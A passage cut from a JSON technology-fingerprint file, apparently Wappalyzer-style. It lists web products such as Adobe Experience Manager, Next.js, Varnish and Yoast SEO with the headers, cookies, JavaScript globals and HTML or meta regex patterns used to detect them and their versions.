Rails\\;confidence:50","Apache"]},"TerriaJS":{},"Starhost":{"headers":{"cache-control":"starhost","x-starhost":""}},"Adobe Experience Manager":{"html":["\u003cdiv class=\"[^\"]*parbase","\u003cdiv[^\u003e]+data-component-path=\"[^\"+]jcr:","\u003cdiv class=\"[^\"]*aem-grid"],"implies":["Java"]},"Signal":{"js":["signaldata"]},"Beans":{"js":["beans3"]},"Incapsula":{"headers":{"x-cdn":"incapsula"}},"Google Tag Manager for WordPress":{"implies":["Google Tag Manager"]},"Microsoft Word":{"html":["(?:\u003chtml [^\u003e]*xmlns:w=\"urn:schemas-microsoft-com:office:word\"|\u003cw:worddocument\u003e|\u003cdiv [^\u003e]*class=\"?wordsection1[\" \u003e]|\u003cstyle[^\u003e]*\u003e[^\u003e]*@page wordsection1)"],"meta":{"progid":["^word\\."],"generator":["microsoft word( [\\d.]+)?\\;version:\\1"]}},"CookieHub":{},"Ushahidi":{"cookies":{"ushahidi":""},"js":["ushahidi"],"implies":["PHP","MySQL","OpenLayers"]},"DocuSign":{},"WP-Royal Bard":{},"Richpanel":{"js":["richpanel.plugin_api_url","richpanelappproxy","richpanel_messenger_url"]},"Nagich":{"js":["interdeal.version"]},"Square":{"js":["sqpaymentform","square.analytics","__bootstrap_state__.storeinfo.square_application_id"]},"idCloudHost":{},"PerimeterX":{"cookies":{"_pxvid":"","_px3":"","_pxff_cc":"","_pxhd":""},"js":["_pxappid"]},"Graffiti CMS":{"cookies":{"graffitibot":""},"meta":{"generator":["graffiti cms ([^\"]+)\\;version:\\1"]},"implies":["Microsoft ASP.NET"]},"Turbo":{"js":["turbo"]},"Open Journal Systems":{"cookies":{"ojssid":""},"meta":{"generator":["open journal systems(?: ([\\d.]+))?\\;version:\\1"]},"implies":["PHP"]},"Sazito":{"js":["sazito"],"meta":{"generator":["^sazito"]}},"Project Wonderful":{"js":["pw_adloader"],"html":["\u003cdiv[^\u003e]+id=\"pw_adbox_"]},"Cocos2d":{"js":["cocosengine"]},"MotoCMS":{"html":["\u003clink [^\u003e]*href=\"[^\u003e]*\\/mt-content\\/[^\u003e]*\\.css"],"implies":["PHP","AngularJS","jQuery"]},"Recite Me":{},"Boomerang":{"js":["boomr_mq","boomr","boomr_lstart"]},"Atlassian FishEye":{"cookies":{"fesessionid":""},"html":["\u003ctitle\u003e(?:log in to )?fisheye (?:and crucible )?([\\d.]+)?\u003c/title\u003e\\;version:\\1"]},"JBoss Application Server":{"headers":{"x-powered-by":"jboss(?:-([\\d.]+))?\\;version:\\1"}},"Fera":{"js":["fera"]},"Yaws":{"headers":{"server":"yaws(?: ([\\d.]+))?\\;version:\\1"}},"Zendesk Chat":{},"Scala":{},"Aurelia":{"js":["_aureliaconfiguremoduleloader","localaurelia"]},"Extole":{"js":["extole.version"]},"ServiceNow":{},"Insider":{"js":["insider"]},"Statamic":{"headers":{"x-powered-by":"^statamic$"},"implies":["PHP","Laravel"]},"Sellix":{},"Zipify Pages":{"js":["zipifypages"],"implies":["Shopify"]},"Fastspring":{"html":["\u003ca [^\u003e]*href=\"https?://sites\\.fastspring\\.com","\u003cform [^\u003e]*action=\"https?://sites\\.fastspring\\.com"]},"Zip":{"js":["quadpayshopify","checkout.enabledpayments.zip","quadpayid"]},"D3":{"js":["d3.version"]},"Klickly":{},"SalesFire":{"js":["loadsalesfire"]},"FaraPy":{"html":["\u003c!-- powered by farapy."],"implies":["Python"]},"WP-Royal Ashe":{"js":["ashepreloader","ashestickysidebar"]},"Livewire":{"js":["livewire"],"html":["\u003c[^\u003e]{1,512}\\bwire:"],"implies":["Laravel"]},"Sotoon":{"headers":{"server":"^sotoon$"}},"OroCommerce":{"html":["\u003cscript [^\u003e]+data-requiremodule=\"oro/","\u003cscript [^\u003e]+data-requiremodule=\"oroui/"],"implies":["PHP","MySQL"]},"Checkfront":{},"Moguta.CMS":{"html":["\u003clink[^\u003e]+href=[\"'][^\"]+mg-(?:core|plugins|templates)/"],"implies":["PHP"]},"UK Mail":{},"Breinify":{"js":["breinify.version"]},"RightJS":{"js":["rightjs"]},"Yandex.Cloud CDN":{"implies":["Yandex.Cloud"]},"Freshworks CRM":{"js":["zarget","zargetapi","zargetform"]},"FreeBSD":{"headers":{"server":"freebsd(?: ([\\d.]+))?\\;version:\\1"}},"ThemeZee Wellington":{"js":["wellingtonscreenreadertext"]},"Blocksy":{"js":["blocksyresponsivemenucache","blocksyjsonp"]},"ProcessWire":{"js":["processwire"],"headers":{"x-powered-by":"processwire cms"},"implies":["PHP"]},"Product Personalizer":{"implies":["Shopify"]},"ExtendThemes Calliope":{},"WebsPlanet":{"meta":{"generator":["websplanet"]}},"Bold Product Options":{"js":["bold.options.version"],"implies":["Shopify","Bold Commerce"]},"WikkaWiki":{"html":["powered by \u003ca href=\"[^\u003e]+wikkawiki"],"meta":{"generator":["wikkawiki"]}},"ChannelApe":{},"Qwik":{},"Ramda":{},"YooMoney":{"headers":{"content-security-policy":"\\.yoomoney\\.ru"}},"Identrust":{},"ShoppingGives":{"js":["sgobservables.getcharities"]},"Contensis":{"meta":{"generator":["contensis cms version ([\\d.]+)\\;version:\\1"]},"implies":["Java","CFML"]},"Lift":{"headers":{"x-lift-version":"(.+)\\;version:\\1"},"implies":["Scala"]},"AddShoppers":{},"Amber":{"headers":{"x-powered-by":"^amber$"}},"Dachser":{},"OnePress Social Locker":{"js":["__pandalockers","bizpanda"]},"2B Advice":{"js":["bbcookiecontroler"]},"MainAd":{},"Mondo Media":{"meta":{"generator":["mondo shop"]}},"ExactMetrics":{"js":["exactmetrics","exactmetrics_frontend"]},"Carts Guru":{},"Hestia":{},"WP Puzzle Basic":{},"RevJet":{},"Caast.tv":{"js":["caast.open","caastinstance"]},"Konduto":{"js":["konduto","getkondutoid"]},"Alpine.js":{"js":["alpine.version"],"html":["\u003c[^\u003e]+[^\\w-]x-data[^\\w-][^\u003c]+\\;confidence:75"]},"Mint":{"js":["mint"]},"PHPDebugBar":{"js":["phpdebugbar","phpdebugbar"]},"Zoko":{"js":["__zoko_app_version"],"implies":["WhatsApp Business Chat"]},"Privy":{"js":["privy","privywidget","privysettings"]},"Cubyn":{},"SpiceThemes SpicePress":{},"MaxSite CMS":{"meta":{"generator":["maxsite cms"]},"implies":["PHP"]},"WPCacheOn":{"headers":{"x-powered-by":"^optimized by wpcacheon"}},"iEXExchanger":{"cookies":{"iexexchanger_session":""},"meta":{"generator":["iexexchanger"]},"implies":["PHP","Apache","Angular"]},"jQuery":{"js":["$.fn.jquery","jquery.fn.jquery"]},"Odoo":{"html":["\u003clink[^\u003e]* href=[^\u003e]+/web/css/(?:web\\.assets_common/|website\\.assets_frontend/)\\;confidence:25"],"meta":{"generator":["odoo"]},"implies":["Python","PostgreSQL","Node.js","Less"]},"Coinbase Commerce":{},"Quicq":{},"Chart.js":{"js":["chart.defaults.doughnut","chart.ctx.beziercurveto","chart"]},"Oxatis":{"meta":{"generator":["^oxatis\\s\\(www\\.oxatis\\.com\\)$"]}},"Loja Virtual":{"js":["id_loja_virtual","link_loja_virtual","loja_sem_dominio"]},"GoCache":{"headers":{"server":"^gocache$","x-gocache-cachestatus":""}},"eDokan":{"implies":["Node.js","Angular","MongoDB"]},"Censhare":{},"ChurnZero":{"js":["churnzero.version","churnzero"]},"Rakuten Advertising":{},"Eloqua":{"cookies":{"eloqua":""},"js":["elq_global","_elq","eloquaactionsettings","elqcuresite","elqload","elqsiteid","_elqq","eloqcontactdata","elqcookievalue"]},"Fat-Free Framework":{"headers":{"x-powered-by":"^fat-free framework$"},"implies":["PHP"]},"NextGEN Gallery":{"html":["\u003c!-- \u003cmeta name=\"nextgen\" version=\"([\\d.]+)\" /\u003e --\u003e\\;version:\\1"]},"PIXIjs":{"js":["pixi","pixi.version"]},"Komodo CMS":{"meta":{"generator":["^komodo cms"]},"implies":["PHP"]},"Web Stories":{"implies":["AMP"]},"Halo":{"meta":{"generator":["halo ([\\d.]+)?\\;version:\\1"]},"implies":["Java"]},"ContentBox":{"meta":{"generator":["contentbox powered by coldbox"]},"implies":["Adobe ColdFusion"]},"UptimeRobot":{"headers":{"content-security-policy":"\\.uptimerobot\\.com"}},"TomatoCart":{"js":["ajaxshoppingcart"],"meta":{"generator":["tomatocart"]}},"Everflow":{},"Fathom":{"js":["fathom.blocktrackingforme"]},"OWL Carousel":{"html":["\u003clink [^\u003e]*href=\"[^\"]+owl\\.carousel(?:\\.min)?\\.css"],"implies":["jQuery"]},"Acquia Customer Data Platform":{"js":["$a1","$a1config","agiloneobject"]},"Justo":{},"TurfJS":{"js":["turf.point","turf.random","turf.feature"]},"Ada":{"js":["__adaembedconstructor","adaembed"]},"ForoshGostar":{"cookies":{"aws.customer":""},"meta":{"generator":["^forosh\\s?gostar.*|arsina webshop.*$"]},"implies":["Microsoft ASP.NET"]},"vcita":{"js":["livesite.btcheckout","vcita"]},"T1 Pagos":{"meta":{"generator":["^t1pagos$"]}},"Open eShop":{"meta":{"author":["open-eshop\\.com"],"copyright":["open eshop ?([0-9.]+)?\\;version:\\1"]},"implies":["PHP"]},"CMSimple":{"meta":{"generator":["cmsimple( [\\d.]+)?\\;version:\\1"]},"implies":["PHP"]},"decimal.js":{"js":["decimal.round_half_floor"]},"CopyPoison":{},"Adobe Flash":{},"Uscreen":{"js":["analyticshost"]},"Amazon Pay":{"js":["onamazonpaymentsready","amazonpayments","offamazonpayments","enableamazonpay"],"meta":{"id":["amazon-payments-metadata"]}},"Impact":{"js":["irevent","impactradiusevent"]},"Bikayi":{},"PHPFusion":{"headers":{"x-phpfusion":"(.+)$\\;version:\\1","x-powered-by":"phpfusion (.+)$\\;version:\\1"},"html":["powered by \u003ca href=\"[^\u003e]+phpfusion","powered by \u003ca href=\"[^\u003e]+php-fusion"],"implies":["PHP","MySQL"]},"Google Ads":{},"Engintron":{"headers":{"x-server-powered-by":"^engintron$"}},"math.js":{"js":["mathjs"]},"ExpressionEngine":{"cookies":{"exp_tracker":"","exp_csrf_token":"","exp_last_activity":""},"implies":["PHP"]},"SobiPro":{"js":["sobiprourl"],"implies":["Joomla"]},"YUI Doc":{"html":["(?:\u003chtml[^\u003e]* yuilibrary\\.com/rdf/[\\d.]+/yui\\.rdf|\u003cbody[^\u003e]+class=\"yui3-skin-sam)"]},"Dianomi":{},"Rust":{},"Yoast SEO for Shopify":{"html":["\u003c!-- this site is optimized with yoast seo for shopify --\u003e"],"implies":["Shopify"]},"commercetools":{},"Seers":{},"MasterkinG32 Framework":{"headers":{"x-powered-framework":"masterking(?:)"},"meta":{"generator":["^masterking(?:)"]}},"WEN Themes Signify Dark":{"js":["signifyoptions"]},"Apple Pay":{"js":["dw.applepay","enableapplepay","applepay","applepaybuttonclicked","braintree.applepay","checkout.enabledpayments.applepay"]},"Snoobi":{"js":["snoobi"]},"Commerce.js":{"js":["commercejsspace"],"headers":{"chec-version":".*","x-powered-by":"commerce.js"}},"Varnish":{"headers":{"x-varnish-age":"","x-varnish-cache":"","x-varnish-hostname":"","via":"varnish(?: \\(varnish/([\\d.]+)\\))?\\;version:\\1","x-varnish":"","x-varnish-action":""}},"SnapEngage":{"js":["snapengage","snapengagechat","snapengage_mobile"],"html":["\u003c!-- begin snapengage"]},"TrustYou":{},"Transcend":{"js":["transcend"]},"Essent SiteBuilder Pro":{"meta":{"generator":["^essent® sitebuilder pro$"]}},"Open AdStream":{"js":["oas_ad"]},"JuicyAds":{"js":["adsbyjuicy"],"meta":{"juicyads-site-verification":[]}},"OpenSSL":{"headers":{"server":"openssl(?:/([\\d.]+[a-z]?))?\\;version:\\1"}},"Shoppiko":{},"Tebex":{"headers":{"tb-node":"\\;confidence:33","tb-cache-country":"\\;confidence:33","tb-cache-group":"\\;confidence:34"},"implies":["MySQL","Sass"]},"RoundCube":{"js":["rcmail","roundcube"],"html":["\u003ctitle\u003eroundcube"],"implies":["PHP"]},"Packlink PRO":{"implies":["Shopify"]},"Shopatron":{"js":["shpturl"],"html":["\u003cbody class=\"shopatron","\u003cimg[^\u003e]+mediacdn\\.shopatron\\.com\\;confidence:50"],"meta":{"keywords":["shopatron"]}},"Mixpanel":{"js":["mixpanel"]},"Post Affiliate Pro":{"js":["postafftracker","postaffaction","postaffcookie","postaffinfo"]},"Naver Maps":{"js":["naver.maps"]},"SOBI 2":{"html":["(?:\u003c!-- start of sigsiu online business index|\u003cdiv[^\u003e]* class=\"sobi2)"],"implies":["Joomla"]},"HostEurope":{},"Shopline":{"js":["shoplytics"]},"anime.js":{"js":["anime.version"]},"Omurga Sistemi":{"meta":{"generator":["^os-omurga sistemi"]},"implies":["MySQL","PHP"]},"GetSimple CMS":{"meta":{"generator":["getsimple"]},"implies":["PHP"]},"FAST ESP":{"html":["\u003cform[^\u003e]+id=\"fastsearch\""]},"cdnjs":{"implies":["Cloudflare"]},"Swym Wishlist Plus":{"js":["swappname","swymcart.attributes"],"implies":["Shopify"]},"YouTrack":{"html":["no-title=\"youtrack\"\u003e","data-reactid=\"[^\"]+\"\u003eyoutrack ([0-9.]+)\u003c\\;version:\\1","type=\"application/opensearchdescription\\+xml\" title=\"youtrack\"/\u003e"]},"FinanceAds":{},"Ezoic":{"js":["ezoica","ezoicbanger","ezoictestactive"]},"LiveIntent":{"js":["li.advertiserid"]},"Mondial Relay":{},"BlueConic":{"js":["blueconicengagement","blueconicclient","blueconicprelisteners","loadvaluesfromblueconic"]},"Reflektion":{"js":["rfk_deploy_time","rfkparams"]},"StimulusReflex":{"implies":["Ruby on Rails","Stimulus"]},"Web Stories for WordPress":{"meta":{"amp-story-generator-name":["^web stories for wordpress$"],"amp-story-generator-version":["^(.+)$\\;version:\\1"]},"implies":["Web Stories"]},"Salesforce Service Cloud":{"js":["embedded_svc"],"implies":["Salesforce"]},"Pantheon":{"headers":{"server":"^pantheon","x-pantheon-styx-hostname":"","x-styx-req-id":""},"implies":["PHP","Nginx","MariaDB","Fastly"]},"LiveZilla":{"js":["lz_chat_execute","lz_code_id","lz_tracking_set_widget_visibility"]},"Thefork":{},"CallRail":{"js":["calltrk","calltrkswap","crwpver"]},"Chameleon system":{"meta":{"generator":["chameleon cms/shop system"]}},"Amazon Web Services":{"headers":{"x-amz-delete-marker":"","x-amz-err-code":"","x-amz-err-message":"","x-amz-id-2":"","x-amz-req-time-micros":"","x-amz-request-id":"","x-amz-rid":"","x-amz-version-id":""}},"Storeden":{"headers":{"x-powered-by":"storeden"}},"Intercom Articles":{"html":["\u003ca href=\"https://www.intercom.com/intercom-link[^\"]+solution=customer-support[^\u003e]+\u003ewe run on intercom"]},"pirobase CMS":{"html":["\u003c(?:script|link)[^\u003e]/site/[a-z0-9/._-]+/resourcecached/[a-z0-9/._-]+","\u003cinput[^\u003e]+cbi:///cms/"],"implies":["Java"]},"InfernoJS":{"js":["inferno","inferno.version"]},"Gridsome":{"meta":{"generator":["^gridsome v([\\d.]+)$\\;version:\\1"]},"implies":["Vue.js"]},"Fat Zebra":{"html":["\u003c(?:iframe|img|form)[^\u003e]+paynow\\.pmnts\\.io","\u003c(?:iframe)[^\u003e]+fatzebraframe"]},"Next.js":{"js":["__next_data__","next.version"],"headers":{"x-powered-by":"^next\\.js ?([0-9.]+)?\\;version:\\1"},"implies":["React","webpack","Node.js"]},"Prototype":{"js":["prototype.version"]},"Premio Chaty":{"js":["chaty_settings.chaty_widgets","chaty_settings.object_settings"]},"GoDaddy Go":{"js":["gofrontend.openmenuonhover"]},"Google Publisher Tag":{},"PHP-Nuke":{"html":["\u003c[^\u003e]+powered by php-nuke"],"meta":{"generator":["php-nuke"]},"implies":["PHP"]},"snigel AdEngine":{},"ReturnGO":{"js":["returngocanberun","returngointegrationdata"]},"etika":{"js":["etikaproductjshelper","etikabannerinject","etikaglobal"]},"Arc":{"js":["arcwidgetjsonp","arc.p2pclient"]},"ReDoc":{"js":["redoc.version"],"html":["\u003credoc "],"implies":["React"]},"Acquia Personalization":{"js":["acquialift","_tcaq"],"implies":["Acquia Cloud Platform\\;confidence:95"]},"Level 5":{"js":["l5_inventory_url"]},"SilverStripe":{"html":["powered by \u003ca href=\"[^\u003e]+silverstripe"],"meta":{"generator":["^silverstripe"]},"implies":["PHP"]},"Gravitec":{"js":["gravitec","gravitecwebpackjsonp"]},"Klevu":{"js":["klevu_apikey","klevu_layout","klevu_sessionid"]},"Bold Custom Pricing":{"js":["bold.csp.version"],"implies":["Shopify","Bold Commerce"]},"YUI":{"js":["yahoo.version","yui.version"]},"Howler.js":{"js":["howler","howlerglobal"]},"Elfsight":{},"Voracio":{"cookies":{"voracio_csrf_token":"","voracio_sessionid":""},"js":["voracio"]},"Dynamic Yield":{"cookies":{"_dy_geo":"","_dy_ses_load_seq":""},"js":["_dy_memstore","dy.addetection","dyexps.sectionconfig"]},"SplitIt":{"js":["splitit","wc_ga_pro.available_gateways.splitit"]},"ImpressCMS":{"cookies":{"icmssession":"","impresscms":""},"meta":{"generator":["impresscms"]},"implies":["PHP"]},"Mangeznotez":{},"Picreel":{"js":["picreel"]},"AccuWeather":{},"WooCommerce PayPal Payments":{"implies":["PayPal"]},"Appsflyer":{"js":["appsflyersdkobject"]},"Shopify Consent Management":{"implies":["Shopify"]},"Site Meter":{},"Deutsche Post":{},"Menufy Online Ordering":{},"Popmenu":{"cookies":{"popmenu-token":""},"js":["popmenu_client","popmenuhydrated"],"implies":["React","Apollo"]},"Shoppy":{"js":["shoppy"]},"Kakao":{"js":["kakao.version"]},"Twik":{"js":["twik_id"]},"Syndeca":{"js":["syndecaanalyticsobject"]},"Gumstack":{"js":["gumstack"]},"Pay It Later":{"js":["payitlater"]},"Dynatrace":{"cookies":{"dtcookie1":""},"js":["dtrum"]},"Clipboard.js":{},"Serendipity":{"meta":{"powered-by":["serendipity v\\.([\\d.]+)\\;version:\\1"],"generator":["serendipity(?: v\\.([\\d.]+))?\\;version:\\1"]},"implies":["PHP"]},"Distributor":{"headers":{"x-distributor":"yes"}},"Google Pay":{},"Wufoo":{},"Login with Amazon":{"js":["onamazonloginready"]},"WP-PageNavi":{},"PushDaddy Whatsapp Chat":{"implies":["WhatsApp Business Chat","Shopify"]},"OptinMonster plugin":{"implies":["OptinMonster"]},"GEODIS":{},"Gemius":{"js":["pp_gemius_hit","gemius_hit","gemius_init","gemius_pending"],"html":["\u003ca [^\u003e]*onclick=\"gemius_hit"]},"Leanplum":{"js":["leanplum"]},"SummerCart":{"js":["scevents"],"implies":["PHP"]},"Elm":{"js":["elm.main.embed","elm.main.init"]},"CubeCart":{"meta":{"generator":["cubecart"]},"implies":["PHP"]},"PHP":{"cookies":{"phpsessid":""},"headers":{"server":"php/?([\\d.]+)?\\;version:\\1","x-powered-by":"^php/?([\\d.]+)?\\;version:\\1"}},"Performance Lab":{"meta":{"generator":["^performance lab ?([\\d.]+)?\\;version:\\1"]}},"Vigbo":{"cookies":{"_gphw_mode":""},"html":["\u003clink[^\u003e]* href=[^\u003e]+(?:\\.vigbo\\.com|\\.gophotoweb\\.com)"]},"MailerLite plugin":{"implies":["MailerLite"]},"Atlassian Jira Issue Collector":{},"Monkey HTTP Server":{"headers":{"server":"monkey/?([\\d.]+)?\\;version:\\1"}},"Zuppler":{},"SWFObject":{"js":["swfobject"]},"Future Shop":{},"Kevel":{"js":["ados","adosresults"]},"Pushnami":{},"TakeDrop":{"js":["webpackjsonptakedrop-react"]},"Onfido":{"headers":{"content-security-policy":"(?:api|sync)\\.onfido\\.com"}},"Smartlook":{"js":["smartlook","smartlook_key"]},"EmbedThis Appweb":{"headers":{"server":"mbedthis-appweb(?:/([\\d.]+))?\\;version:\\1"}},"Wiki.js":{"js":["wiki.$_apolloinitdata","wiki.$apolloprovider"],"implies":["Node.js"]},"experiencedCMS":{"meta":{"generator":["^experiencedcms$"]},"implies":["PHP"]},"MailChimp for WooCommerce":{"implies":["MailChimp"]},"Autopilot":{"js":["autopilotanywhere","autopilot"]},"uLogin":{"js":["ulogin.version"]},"Amiro.CMS":{"meta":{"generator":["amiro"]},"implies":["PHP"]},"Tailwind CSS":{"css":["--tw-(?:rotate|translate|space-x|text-opacity|border-opacity)"]},"AquilaCMS":{"meta":{"powered-by":["aquilacms"]},"implies":["Next.js","Node.js","React","MongoDB","Amazon Web Services"]},"Whooshkaa":{"html":["\u003ciframe src=\"[^\u003e]+whooshkaa\\.com"]},"Quick.Cart":{"html":["\u003ca href=\"[^\u003e]+opensolution\\.org/\"\u003e(?:shopping cart by|sklep internetowy)"],"meta":{"generator":["quick\\.cart(?: v([\\d.]+))?\\;version:\\1"]}},"Zoho":{},"Dailymotion":{"meta":{"name":["dailymotion-domain-verification"]}},"Microsoft ASP.NET":{"cookies":{"asp.net_sessionid":"","aspsession":""},"headers":{"x-aspnet-version":"(.+)\\;version:\\1","x-powered-by":"^asp\\.net","set-cookie":"\\.aspnetcore"},"html":["\u003cinput[^\u003e]+name=\"__viewstate"]},"Flyspray":{"cookies":{"flyspray_project":""},"html":["(?:\u003ca[^\u003e]+\u003epowered by flyspray|\u003cmap id=\"projectsearchform)"],"implies":["PHP"]},"OrderYOYO":{"js":["smartbanneroy"]},"Weaver Xtreme":{"js":["weaverxbottomfooter","weaverxmonitorcontent","weaverxonresize"]},"Virtooal":{},"All in One SEO Pack":{"html":["\u003c!-- all in one seo pack ([\\d.]+) \\;version:\\1"]},"Akamai Web Application Protector":{"js":["aksb"],"implies":["Akamai"]},"Yett":{"js":["yett_blacklist"]},"Moment.js":{"js":["moment","moment.version"]},"Spree":{"html":["(?:\u003clink[^\u003e]*/assets/store/all-[a-z\\d]{32}\\.css[^\u003e]+\u003e|\u003cscript\u003e\\s*spree\\.(?:routes|translations|api_key))"],"implies":["Ruby on Rails"]},"Ckan":{"headers":{"access-control-allow-headers":"x-ckan-api-key","link":"\u003chttp://ckan\\.org/\u003e; rel=shortlink"},"meta":{"generator":["^ckan ?([0-9.]+)$\\;version:\\1"]},"implies":["Python","Solr","Java","PostgreSQL"]},"Sakura Internet":{},"UNIX":{"headers":{"server":"unix"}},"Page Builder Framework":{},"Smart Slider 3":{},"Amaya":{"meta":{"generator":["amaya(?: v?([\\d.]+[a-z]))?\\;version:\\1"]}},"Yampi Checkout":{"js":["yampicheckouturl"]},"Bold Bundles":{"js":["bold.bundles"],"implies":["Shopify","Bold Commerce"]},"Amazon Webstore":{"js":["amzn"]},"BandsInTown Events Widget":{},"Powergap":{"html":["\u003ca[^\u003e]+title=\"powergap","\u003cinput type=\"hidden\" name=\"shopid\""]},"script.aculo.us":{"js":["scriptaculous.version"]},"Adyen":{"js":["adyen.encrypt.version"]},"WP Rocket":{"js":["rocketpreloadlinksconfig","rocket_lazy","rocketlazyloadscripts"],"headers":{"x-powered-by":"wp rocket(?:/([\\d.]+))?\\;version:\\1","x-rocket-nginx-bypass":""},"html":["\u003c!--[^\u003e]+wp rocket"]},"CrownPeak":{"js":["crownpeakautocomplete","crownpeaksearch"]},"Jibres":{"cookies":{"jibres":""},"js":["jibres"],"headers":{"x-powered-by":"jibres"},"meta":{"generator":["jibres"]}},"TRUENDO":{"js":["truendo","truendocookiecontrolcallback"]},"Slice":{},"Yieldify":{"js":["_yieldify"]},"gitlist":{"html":["\u003cp\u003epowered by \u003ca[^\u003e]+\u003egitlist ([\\d.]+)\\;version:\\1"],"implies":["PHP","git"]},"GoDaddy Uptown Style":{},"ECharts":{},"UKFast":{},"Caldera Forms":{"js":["calderaforms"]},"Bablic":{"js":["bablic"]},"DoubleClick Floodlight":{},"Handtalk":{"js":["handtalk"]},"Translate WordPress":{},"Bokun":{"js":["bokunwidgetembedder","__bokunwidgets","bokunbookingchanneluuid","bokunsessionid"]},"Marked":{"js":["marked"]},"Draft.js":{},"Dotclear":{"headers":{"x-dotclear-static-cache":""},"implies":["PHP"]},"UMI.CMS":{"headers":{"x-generated-by":"umi\\.cms"},"implies":["PHP"]},"Deliverr":{"js":["deliverrscript"],"implies":["Cart Functionality"]},"Unbxd":{"js":["unbxd.version"]},"Cloudflare Bot Management":{"cookies":{"__cf_bm":""},"implies":["Cloudflare"]},"Colorlib Travelify":{"js":["travelify_slider_value"]},"PromoBuilding":{"cookies":{"promobuilding_session":""},"js":["promodomain","promoisover","promostart","promoapi"],"html":["\u003c!-- made with https://promobuilding\\.ru"]},"Wix eCommerce":{"implies":["Wix"]},"Base":{"js":["base_api.shop_id","base.app.open_nav"],"meta":{"base-theme-version":["\\d+\\;confidence:50"],"base-theme-name":["\\;confidence:50"]}},"Exponea":{"js":["exponea.version"]},"Websocket":{"html":["\u003clink[^\u003e]+rel=[\"']web-socket[\"']","\u003c(?:link|a)[^\u003e]+href=[\"']wss?://"]},"Ebasnet":{"meta":{"author":["^ebasnet web solutions$"]},"implies":["PHP","MySQL","Varnish","Symfony"]},"Geo Targetly":{},"Mongrel":{"headers":{"server":"mongrel"},"implies":["Ruby"]},"TinyMCE":{"js":["tinymce.majorversion"]},"LightMon Engine":{"cookies":{"lm_online":""},"html":["\u003c!-- lightmon engine copyright lightmon"],"meta":{"generator":["lightmon engine"]},"implies":["PHP"]},"Indico":{"cookies":{"makacsession":""},"html":["powered by\\s+(?:cern )?\u003ca href=\"http://(?:cdsware\\.cern\\.ch/indico/|indico-software\\.org|cern\\.ch/indico)\"\u003e(?:cds )?indico( [\\d\\.]+)?\\;version:\\1"]},"CloudCart":{"meta":{"author":["^cloudcart llc$"]}},"PayJustNow":{},"Pendo":{"js":["pendo.host","pendo.version"]},"SaleCycle":{},"Sirdata":{"js":["sddan.cmp","sddan.cmploaded"]},"Kirki Customizer Framework":{},"Ruby":{"headers":{"server":"(?:mongrel|webrick|ruby)"}},"ScrollMagic":{"js":["scrollmagic","scrollmagic.version"],"implies":["jQuery","GSAP"]},"Fusion Ads":{"js":["_fusion"]},"U-KOMI":{"js":["getukomislideriteminfo","ukomiinstalikestep01"]},"Globo Pre-Order":{"js":["globopreorderparams"],"implies":["Shopify"]},"Centminmod":{"headers":{"x-powered-by":"centminmod"},"implies":["CentOS","Nginx","PHP"]},"Twenty Eleven":{},"FullContact":{"js":["fullcontact"]},"Userpilot":{"js":["userpilotinitiatorsdk","userpilotpako","userpilot.triggerbyid"]},"Akamai":{"headers":{"x-akamai-transformed":"","x-edgeconnect-midmile-rtt":"","x-edgeconnect-origin-mex-latency":""}},"Commerce7":{},"Cybersource":{},"LimeSpot":{"js":["limespot.cartitems","limespot.recommendations"]},"Integral Ad Science":{},"Google Cloud":{},"Letro":{"js":["__letrougcgadget","letrougcset"]},"Django CMS":{"implies":["Python","Django","PostgreSQL"]},"BookThatApp":{"js":["bookthatapp"],"implies":["Shopify"]},"Criteo":{"js":["criteo","criteo_pubtag","criteo_q"]},"Amazon EC2":{"headers":{"server":"\\(amazon\\)"},"implies":["Amazon Web Services"]},"Haravan":{"js":["haravan"]},"Doxygen":{"html":["(?:\u003c!-- generated by doxygen ([\\d.]+)|\u003clink[^\u003e]+doxygen\\.css)\\;version:\\1"],"meta":{"generator":["doxygen ([\\d.]+)\\;version:\\1"]}},"Plotly":{"js":["plotly.version"],"implies":["D3"]},"Facebook Chat Plugin":{"js":["facebookchatsettings"]},"Shoplo":{"js":["shoploajax"]},"metisMenu":{"js":["metismenu","metismenu"],"implies":["jQuery"]},"Gitiles":{"html":["powered by \u003ca href=\"https://gerrit\\.googlesource\\.com/gitiles/\"\u003egitiles\u003c"],"implies":["Java","git"]},"Auth0 Lock":{},"OpenGSE":{"headers":{"server":"gse"},"implies":["Java"]},"Relais Colis":{},"Percona":{},"Rokt":{"headers":{"content-security-policy":"\\.rokt\\.com"}},"jQuery Mobile":{"js":["jquery.mobile.version"],"implies":["jQuery"]},"Akka HTTP":{"headers":{"server":"akka-http(?:/([\\d.]+))?\\;version:\\1"}},"Tamara":{"js":["tamaraproductwidget"]},"MathJax":{"js":["mathjax.version","mathjax"]},"Lotus Domino":{"headers":{"server":"lotus-domino"},"implies":["Java"]},"ShopPad Infinite Options":{"js":["shoppad.apps.infiniteoptions"],"implies":["Shopify"]},"SPIP":{"headers":{"composed-by":"spip ([\\d.]+) @\\;version:\\1","x-spip-cache":""},"meta":{"generator":["(?:^|\\s)spip(?:\\s([\\d.]+(?:\\s\\[\\d+\\])?))?\\;version:\\1"]},"implies":["PHP"]},"Vue.js":{"js":["vue.version","__vue_hot_map__"],"html":["\u003c[^\u003e]+\\sdata-v(?:ue)?-"],"css":["\\.vue-notification-group"]},"Attraqt":{"js":["_attraqt"]},"ThemeGrill ColorMag":{},"Hermes":{},"JS Charts":{"js":["jschart"]},"Route":{"js":["routeapp"]},"Sendinblue":{"js":["sendinblue"]},"Docusaurus":{"js":["search.indexname"],"meta":{"generator":["^docusaurus(?: v(.+))?$\\;version:\\1"]},"implies":["React","webpack"]},"GoAhead":{"headers":{"server":"goahead"}},"AdThrive":{"js":["adthrive","adthrivevideosinjected"]},"AndersNoren Fukasawa":{},"Yoast SEO":{"html":["\u003c!-- this site is optimized with the yoast (?:wordpress )?seo plugin v([^\\s]+) -\\;version:\\1","\u003c!-- this site is optimized with the yoast seo premium plugin v(?:[^\\s]+) \\(yoast seo v([^\\s]+)\\) -\\;version:\\1"],"implies":["WordPress"]},"Microsoft Application Insights":{"js":["appinsights.severitylevel","appinsights.addtelemetryinitializer","appinsightssdk"]},"DedeCMS":{"js":["dedecontainer"],"implies":["PHP"]},"Celum":{},"Modified":{"meta":{"generator":["\\(c\\) by modified ecommerce shopsoftware ------ http://www\\.modified-shop\\.org"]}},"Osterreichische Post":{},"Gatsby Cloud Image CDN":{},"Google Customer 